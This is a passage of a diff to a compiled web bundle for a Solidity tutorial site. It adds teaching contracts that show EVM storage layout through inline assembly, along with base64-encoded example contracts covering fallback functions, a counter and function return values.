+            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
+            v := and(v, mask_d)
+            v := or(v, shl(224, 44))
+
+            // Store new value to slot0
+            sstore(0, v)
+        }
+    }
+
+    function test_slot_0_offset()
+        public
+        pure
+        returns (
+            uint256 a_offset,
+            uint256 b_offset,
+            uint256 c_offset,
+            uint256 d_offset
+        )
+    {
+        // a_offset =  0 =  0 * 8 =   0 bits
+        // b_offset = 16 = 16 * 8 = 128 bits
+        // c_offset = 24 = 24 * 8 = 192 bits
+        // d_offset = 28 = 28 * 8 = 224 bits
+        assembly {
+            a_offset := s_a.offset
+            b_offset := s_b.offset
+            c_offset := s_c.offset
+            d_offset := s_d.offset
+        }
+    }
+
+    function test_slot_1_offset()
+        public
+        pure
+        returns (uint256 addr_offset, uint256 x_offset, uint256 y_offset)
+    {
+        // addr_offset = 0
+        // x_offset = 20
+        // y_offset = 28
+        assembly {
+            addr_offset := s_addr.offset
+            x_offset := s_x.offset
+            y_offset := s_y.offset
+        }
+    }
+
+    // slot and offset
+    function test_sstore_using_offset() public {
+        // a_offset =  0 =  0 * 8 =   0 bits
+        // b_offset = 16 = 16 * 8 = 128 bits
+        // c_offset = 24 = 24 * 8 = 192 bits
+        // d_offset = 28 = 28 * 8 = 224 bits
+        assembly {
+            // Load 32 bytes from slot0
+            let v := sload(s_a.slot)
+
+            // s_d | s_c | s_b | s_a
+            // 32  | 32  | 64  | 128 bits
+
+            // Set s_a = 111
+            // mask = all 1s at and to the left of 128 bit counting from right
+            //        111 ... 111 | 000 ... 000
+            //                    |    128 bits
+            let mask_a := not(sub(shl(128, 1), 1))
+            // Set left most 128 bits to 0
+            v := and(v, mask_a)
+            // Set s_a = 1
+            v := or(v, 111)
+
+            // Set s_b = 222
+            // mask = 111...111 | 000 ... 000 | 111 ... 111
+            //                  |     64 bits |    128 bits
+            let mask_b := not(shl(mul(s_b.offset, 8), sub(shl(64, 1), 1)))
+            // Clear previous value of s_b by setting bits (128 to 191 bits) to 0
+            v := and(v, mask_b)
+            v := or(v, shl(mul(s_b.offset, 8), 222))
+
+            // Set s_c = 333
+            // mask = 111...111 | 000...000 | 111 ... 111 | 111 ... 111
+            //                  |   32 bits |     64 bits |    128 bits
+            let mask_c := not(shl(mul(s_c.offset, 8), sub(shl(32, 1), 1)))
+            // Clear previous value of s_c by setting bits (192 to 223 bits) to 0
+            v := and(v, mask_c)
+            v := or(v, shl(mul(s_c.offset, 8), 333))
+
+            // Set s_d = 444
+            // mask = 000...000 | 111...111 | 111 ... 111 | 111 ... 111
+            //                  |   32 bits |     64 bits |    128 bits
+            let mask_d := not(shl(mul(s_d.offset, 8), sub(shl(32, 1), 1)))
+            // Clear previous value of s_d by setting bits (224 to 255 bits) to 0
+            v := and(v, mask_d)
+            v := or(v, shl(mul(s_d.offset, 8), 444))
+
+            // Store new value to slot0
+            sstore(s_a.slot, v)
+        }
+    }
+}
+
+contract EVMStorageStruct {
+    struct SingleSlot {
+        uint128 x;
+        uint64 y;
+        uint64 z;
+    }
+
+    struct MultipleSlots {
+        uint256 a;
+        uint256 b;
+        uint256 c;
+    }
+
+    // slot 0
+    SingleSlot public single = SingleSlot({x: 1, y: 2, z: 3});
+    // slot 1, 2, 3
+    MultipleSlots public multi = MultipleSlots({a: 11, b: 22, c: 33});
+
+    function test_get_single_slot_struct()
+        public
+        view
+        returns (uint128 x, uint64 y, uint64 z)
+    {
+        assembly {
+            let s := sload(0)
+            // left 128 bits will be cut off when casted to uint128
+            x := s
+
+            // 000 ... 000 | 111 ... 111
+            //             | 64 bits
+            let mask_64 := sub(shl(64, 1), 1)
+
+            y := and(mask_64, shr(128, s))
+            z := and(mask_64, shr(192, s))
+        }
+    }
+
+    function test_get_multiple_slots_struct()
+        public
+        view
+        returns (uint256 a, uint256 b, uint256 c)
+    {
+        assembly {
+            a := sload(1)
+            b := sload(2)
+            c := sload(3)
+        }
+    }
+}
+
+contract EVMStorageConstants {
+    // slot 0
+    uint256 public s0 = 1;
+    // Constants and immutables don't use storage
+    uint256 public constant X = 123;
+    address public immutable owner;
+    // slot 1
+    uint256 public s1 = 2;
+
+    constructor() {
+        owner = msg.sender;
+    }
+
+    function test_get_slots() public view returns (uint256 v0, uint256 v1) {
+        assembly {
+            v0 := sload(0)
+            v1 := sload(1)
+        }
+    }
+}
+
+contract EVMStorageFixedArray {
+    // Fixed array with elements <= 32 bytes, slot of element = slot where array is declared + index of array element
+    // slots 0, 1, 2
+    uint256[3] private arr_0 = [1, 2, 3];
+    // slots 3, 4, 5
+    uint256[3] private arr_1 = [4, 5, 6];
+    // slot + index of packed data
+    // slots 6, 6, 7, 7, 8
+    uint128[5] private arr_2 = [7, 8, 9, 10, 11];
+
+    function test_arr_0(uint256 i) public view returns (uint256 v) {
+        assembly {
+            // arr_0 starts from slot 0
+            v := sload(add(0, i))
+        }
+    }
+
+    function test_arr_1(uint256 i) public view returns (uint256 v) {
+        assembly {
+            // arr_1 starts from slot 3
+            v := sload(add(3, i))
+        }
+    }
+
+    function test_arr_2(uint256 i) public view returns (uint128 v) {
+        assembly {
+            // arr_2 starts from slot 6
+            let b32 := sload(add(6, div(i, 2)))
+            // slot 6 = 1st element | 0th element
+            // slot 7 = 3rd element | 2nd element
+            // slot 8 = 000 ... 000 | 4th element
+
+            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
+            // i is odd  => get left 128 bits  => shift right 128 bits
+
+            switch mod(i, 2)
+            case 1 { v := shr(128, b32) }
+            default { v := b32 }
+        }
+    }
+}
+
+contract EVMStorageDynamicArray {
+    // slot of element = keccak256(slot where this array is declared) + index of element
+    // keccak256(0) + index
+    uint256[] private arr = [11, 22, 33];
+
+    function test_arr(uint256 i) public view returns (uint256 v, uint256 len) {
+        uint256 slot = 0;
+        bytes32 start = keccak256(abi.encode(slot));
+
+        assembly {
+            len := sload(slot)
+            v := sload(add(start, i))
+        }
+    }
+}
+
+contract EVMStorageMapping {
+    // slot of value = keccack256(key, slot where mapping is declared)
+    mapping(address => uint256) public map;
+
+    address public constant ADDR_1 = address(1);
+    address public constant ADDR_2 = address(2);
+    address public constant ADDR_3 = address(3);
+
+    constructor() {
+        map[ADDR_1] = 11;
+        map[ADDR_2] = 22;
+        map[ADDR_3] = 33;
+    }
+
+    function test_mapping(address key) public view returns (uint256 v) {
+        uint256 slot = 0;
+        bytes32 slot_v = keccak256(abi.encode(key, slot));
+
+        assembly {
+            v := sload(slot_v)
+        }
+    }
+}
+
+contract EVMStorageNestedMapping {
+    // key0 => key1 => val
+    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
+    mapping(address => mapping(address => uint256)) public map;
+
+    address public constant ADDR_1 = address(1);
+    address public constant ADDR_2 = address(2);
+    address public constant ADDR_3 = address(3);
+
+    constructor() {
+        map[ADDR_1][ADDR_2] = 11;
+        map[ADDR_2][ADDR_3] = 22;
+        map[ADDR_3][ADDR_1] = 33;
+    }
+
+    function test_nested_mapping(address key_0, address key_1)
+        public
+        view
+        returns (uint256 v)
+    {
+        uint256 slot = 0;
+        bytes32 s0 = keccak256(abi.encode(key_0, slot));
+        bytes32 s1 = keccak256(abi.encode(key_1, s0));
+
+        assembly {
+            v := sload(s1)
+        }
+    }
+}
+
+contract EVMStorageMappingArray {
+    // slot of value in a mapping = keccak256(key, slot)
+    // slot of array element = keccak256(slot) + index
+    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
+    mapping(address => uint256[]) public map;
+
+    address public constant ADDR_1 = address(1);
+    address public constant ADDR_2 = address(2);
+
+    constructor() {
+        map[ADDR_1].push(11);
+        map[ADDR_1].push(22);
+        map[ADDR_1].push(33);
+        map[ADDR_2].push(44);
+        map[ADDR_2].push(55);
+        map[ADDR_2].push(66);
+    }
+
+    function test_map_arr(address addr, uint256 i)
+        public
+        view
+        returns (uint256 v, uint256 len)
+    {
+        uint256 map_slot = 0;
+        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
+        bytes32 arr_hash = keccak256(abi.encode(map_hash));
+
+        assembly {
+            len := sload(map_hash)
+            v := sload(add(arr_hash, i))
+        }
+    }
+}
+
+contract EVMStorageDynamicArrayStruct {
+    struct Point {
+        uint256 x;
+        uint128 y;
+        uint128 z;
+    }
+
+    // slot of element = keccak256(slot where this array is declared) + index of element
+    // keccak256(0) + index * size of struct
+    Point[] private arr;
+
+    constructor() {
+        arr.push(Point(11, 22, 33));
+        arr.push(Point(44, 55, 66));
+        arr.push(Point(77, 88, 99));
+    }
+
+    function test_struct_arr(uint256 i)
+        public
+        view
+        returns (uint256 x, uint128 y, uint128 z, uint256 len)
+    {
+        uint256 slot = 0;
+        bytes32 start = keccak256(abi.encode(slot));
+
+        assembly {
+            len := sload(slot)
+            // s0 = keccak256(0)
+            // index | slot        | values
+            //     0 | slot s0 + 0 | arr[0].x
+            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
+            //     1 | slot s0 + 2 | arr[1].x
+            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
+            //     2 | slot s0 + 4 | arr[2].x
+            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
+            x := sload(add(start, mul(i, 2)))
+            let zy := sload(add(start, add(mul(i, 2), 1)))
+            // uint128 cuts off left most 128 bits from 32 bytes
+            y := zy
+            z := shr(128, zy)
+        }
+    }
+}
+
                        `,Iw=({prev:s,next:a})=>r.jsx(u,{version:ow,title:rw,description:iw,html:hw,prev:s,next:a,codes:gw}),dw="0.8.24",Cw="Fallback",jw="Example of how to use fallback in Solidity",uw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],Aw=`

                        fallback is a special function that is executed either when

                        • a function that does not exist is called or
                        • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
                          • @@ -7342,7 +7904,7 @@ assertion probably means that there is a bug. (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,hw=({prev:s,next:a})=>r.jsx(u,{version:tw,title:ow,description:rw,html:gw,prev:s,next:a,codes:iw}),dw="0.8.24",Iw="First Application",Cw="Example of smart contract in Solidity",jw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],uw=`

                          Here is a simple contract that you can get, increment and decrement the count store in this contract.

                          +`,yw=({prev:s,next:a})=>r.jsx(u,{version:dw,title:Cw,description:jw,html:Aw,prev:s,next:a,codes:uw}),mw="0.8.24",bw="First Application",ww="Example of smart contract in Solidity",kw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],Zw=`

                          Here is a simple contract that you can get, increment and decrement the count store in this contract.

                          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -7365,7 +7927,7 @@ assertion probably means that there is a bug.
         count -= 1;
     }
 }
-
                          `,yw=({prev:s,next:a})=>r.jsx(u,{version:dw,title:Iw,description:Cw,html:uw,prev:s,next:a,codes:jw}),Aw="0.8.24",mw="Function",bw="Example of how to write functions in Solidity",ww=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],kw=`

                          There are several ways to return outputs from a function.

                          +`,Ww=({prev:s,next:a})=>r.jsx(u,{version:mw,title:bw,description:ww,html:Zw,prev:s,next:a,codes:kw}),Bw="0.8.24",Gw="Function",Vw="Example of how to write functions in Solidity",fw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],Yw=`

                          There are several ways to return outputs from a function.

                          Public functions cannot accept certain data types as inputs or outputs

                          // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -7443,7 +8005,7 @@ assertion probably means that there is a bug.
         });
     }
 }
-
                          `,Zw=({prev:s,next:a})=>r.jsx(u,{version:Aw,title:mw,description:bw,html:kw,prev:s,next:a,codes:ww}),Ww="0.8.24",Gw="Function Modifier",Bw="Example of how to write function modifier in 